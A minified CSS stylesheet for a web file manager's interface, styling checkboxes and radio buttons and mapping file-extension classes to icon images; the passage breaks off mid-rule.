input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none 